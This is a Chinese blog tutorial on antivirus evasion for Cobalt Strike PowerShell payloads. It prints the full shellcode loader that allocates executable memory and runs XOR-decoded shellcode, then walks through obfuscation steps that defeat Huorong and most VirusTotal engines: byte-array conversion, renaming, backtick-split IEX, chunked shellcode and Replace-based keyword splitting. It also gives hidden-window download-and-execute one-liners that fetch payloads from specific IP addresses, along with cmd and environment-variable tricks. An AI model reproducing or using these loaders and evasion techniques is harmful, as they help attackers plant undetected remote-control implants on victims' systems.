• powershell免杀


    最近在学习powershell免杀这块,本篇文章也是跟着大佬的思路来做的

    0x01 powershell脚本生成

    通过cs生成一个powershell脚本(我没勾选x64位)

     1 Set-StrictMode -Version 2
     2 
     3 $DoIt = @'
     4 function func_get_proc_address {
     5     Param ($var_module, $var_procedure)        
     6     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
     7     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
     8     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
     9 }
    10 
    11 function func_get_delegate_type {
    12     Param (
    13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    14         [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    15     )
    16 
    17     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    18     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    19     $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    20 
    21     return $var_type_builder.CreateType()
    22 }
    23 
    24 [Byte[]]$var_code = [System.Convert]::FromBase64String('此处为shellcode,太长就不复制出来了')
    25 for ($x = 0; $x -lt $var_code.Count; $x++) {
    26     $var_code[$x] = $var_code[$x] -bxor 35
    27 }
    28 
    29 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    30 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
    31 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
    32 
    33 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    34 $var_runme.Invoke([IntPtr]::Zero)
    35 '@
    36 
    37 If ([IntPtr]::size -eq 8) {
    38     start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    39 }
    40 else {
    41     IEX $DoIt
    42 }

    直接运行生成的powershell脚本,会直接被杀软杀掉(如火绒)

    0x02 powershell免杀

    现在把FromBase64String改成FromBase65String,那就解决掉FromBase64String,直接改成byte数组。

    $string = ''
    $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
    $s |foreach { $string = $string + $_.ToString()+','}

    把变量输出到文件中

    $string > D:1.txt

    然后替换脚本中的内容

     1 Set-StrictMode -Version 2
     2 
     3 $DoIt = @'
     4 function func_get_proc_address {
     5     Param ($var_module, $var_procedure)        
     6     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
     7     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
     8     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
     9 }
    10 
    11 function func_get_delegate_type {
    12     Param (
    13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    14         [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    15     )
    16 
    17     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    18     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    19     $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    20 
    21     return $var_type_builder.CreateType()
    22 }
    23 
    24 [Byte[]]$var_code = [Byte[]](这里放刚刚转码后的FromBase65String)
    25 
    26 for ($x = 0; $x -lt $var_code.Count; $x++) {
    27     $var_code[$x] = $var_code[$x] -bxor 35
    28 }
    29 
    30 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    31 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
    32 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
    33 
    34 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    35 $var_runme.Invoke([IntPtr]::Zero)
    36 '@
    37 
    38 If ([IntPtr]::size -eq 8) {
    39     start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    40 }
    41 else {
    42     IEX $DoIt
    43 }

    ps:注意括号里不要加引号

    然后运行脚本,绕过了火绒,cs成功上线

    接下来在VT上查杀看看效果 https://www.virustotal.com

    效果还不太行,继续改关键字

    大概就是把[Byte[]]$var_code那一行上下的函数名和变量前缀var_ 改成别的 还有最后的IEX改了一下

    改之后的

    c.ps1代码

     1 Set-StrictMode -Version 2
     2 
     3 $DoIt = @'
     4 function func_a {
     5     Param ($a_module, $a_procedure)        
     6     $a_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
     7     $a_gpa = $a_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
     8     return $a_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($a_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($a_module)))), $a_procedure))
     9 }
    10 
    11 function func_b {
    12     Param (
    13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $a_parameters,
    14         [Parameter(Position = 1)] [Type] $a_return_type = [Void]
    15     )
    16 
    17     $a_type_bb = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBbAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    18     $a_type_bb.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $a_parameters).SetImplementationFlags('Runtime, Managed')
    19     $a_type_bb.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $a_return_type, $a_parameters).SetImplementationFlags('Runtime, Managed')
    20 
    21     return $a_type_bb.CreateType()
    22 }
    23 
    24 [Byte[]]$a_code = [Byte[]](这里放刚刚转码后的FromBase65String)
    25 
    26 for ($x = 0; $x -lt $a_code.Count; $x++) {
    27     $a_code[$x] = $a_code[$x] -bxor 35
    28 }
    29 
    30 $a_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_a kernel32.dll VirtualAlloc), (func_b @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    31 $a_buffer = $a_va.Invoke([IntPtr]::Zero, $a_code.Length, 0x3000, 0x40)
    32 [System.Runtime.InteropServices.Marshal]::Copy($a_code, 0, $a_buffer, $a_code.length)
    33 
    34 $a_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($a_buffer, (func_b @([IntPtr]) ([Void])))
    35 $a_runme.Invoke([IntPtr]::Zero)
    36 '@
    37 
    38 If ([IntPtr]::size -eq 8) {
    39     start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    40 }
    41 else {
    42     ie`x $DoIt
    43 }

    运行c.ps1脚本,成功过火绒,且cs上线

    放在VT上测试一番

    还是有俩av没绕过,但是已经能过绝大多数杀软

    0x03 生成无落地powershell免杀

    思路:就是cs生成txt-shellcode代码,放到服务器web目录,然后目标执行powershell命令请求下载并执行。对于内容就是换一种编码来混淆,同时可以将编码部分分成几个部分然后再拼接,对于关键命令,可以使用Replace替换的方法。对于访问shellcode文件并执行的命令,可以采用混淆分割合并和Replace替换的方法绕过。

    1.先生成无落地执行powershell文件

    2.访问http://xxx.xx.xxx.xx:9997/a这个连接看看文件内容,并保存下来

    直接执行

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://60.238.86.238:9997/a'))"

    会被杀软干掉

    通过分析可以看到代码实际组成是:

    $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代码"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

    3.直接把FromBase64String改成FromBase65String。

    $string = ''
    $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
    $s |foreach { $string = $string + $_.ToString()+','}
    $string > D:2.txt  

    4.将生成的编码分成两块或者多块再组合

    [Byte[]]$var_c1 =  [Byte[]](分段1)
    [Byte[]]$var_c2 =  [Byte[]](分段2)
    $var_code=$var_c1+$var_c2
    
    $s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

    通过vt查杀效果不错

    5.另存到服务器的其他txt文件中并访问执行

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://52.214.56.238:8001/a.txt'))"

    cs成功上线

    6.混淆命令关键词并执行

    [Byte[]]$var_c1 =  [Byte[]](分段1)
    [Byte[]]$var_c2 =  [Byte[]](分段2)
    $var_code=$var_c1+$var_c2
    
    $s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)

    放到VT上测试,仍然有个av过不去(太菜了,就先这样吧)

    cs也成功上线

    ps:确实实现免杀了,不过呢实际执行的时候火绒,360,腾讯跟defender还是会拦截,通过混淆执行语句可以绕过试试

    7.远程执行powershell命令免杀方法

    注意:免杀要不断尝试,一次混淆不行就多混淆几次,加上替换关键字

    远程执行脚本时代码混淆,是因为有时候直接执行cs生成的语句杀软会拦截/

    原始语句:

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.232.213.20:8001/e.txt'))"

    混淆可以使用Replace替代代码关键词部分字母,加上通过拆分后再组合的方法

    例如:

    powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1+$c2)"

    或者:

    powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.56.138:8001/d.txt'')'.Replace('aaa','p://62.234');IEX ($c1+$c2)"

    测试后发现以上两种方法都不行,但可以参考关键字免杀

    powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://52.214.56.238:8001/e.txt''))';$a3="$a1,$a2";IEX(-join $a3)"

    或者

    powershell.exe -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://62.234.56.138:8001/d.txt'')'.Replace('123','adString');IEX ($c1+$c2)"

    成功绕过

    还有powershell语言的特性来混淆代码

    常规方法:

    cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
    cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
    cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

    管道输入流:

    cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

    利用环境变量:

    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

    从其他进程获取参数:

    cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

    参考:

    文章来源

    Y4er

    根据powershell语言的特性来混淆代码的方法与原理

  • 相关阅读:
    第六章脑图
    20192419实验四 《Python程序设计》实验报告
    20192419 实验三《Python程序设计》实验报告
    20192419 实验二《Python程序设计》实验报告
    20192419 实验一《Python程序设计》实验报告
    小组讨论-第十章 密码学及应用
    2019-2020-1学期 20192419 《网络空间安全专业导论》第十二周学习总结 (读书笔记)
    2019-2020-1学期 20192419 《网络空间安全专业导论》第十二周学习总结 (读书心得)
    2019-2020-1学期 20192419 《网络空间安全专业导论》第十一周学习总结 (读书心得)
    2019-2020-1学期 20192419 《网络空间安全专业导论》第十一周学习总结 (读书笔记)
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/14380138.html
Copyright © 2020-2023  润新知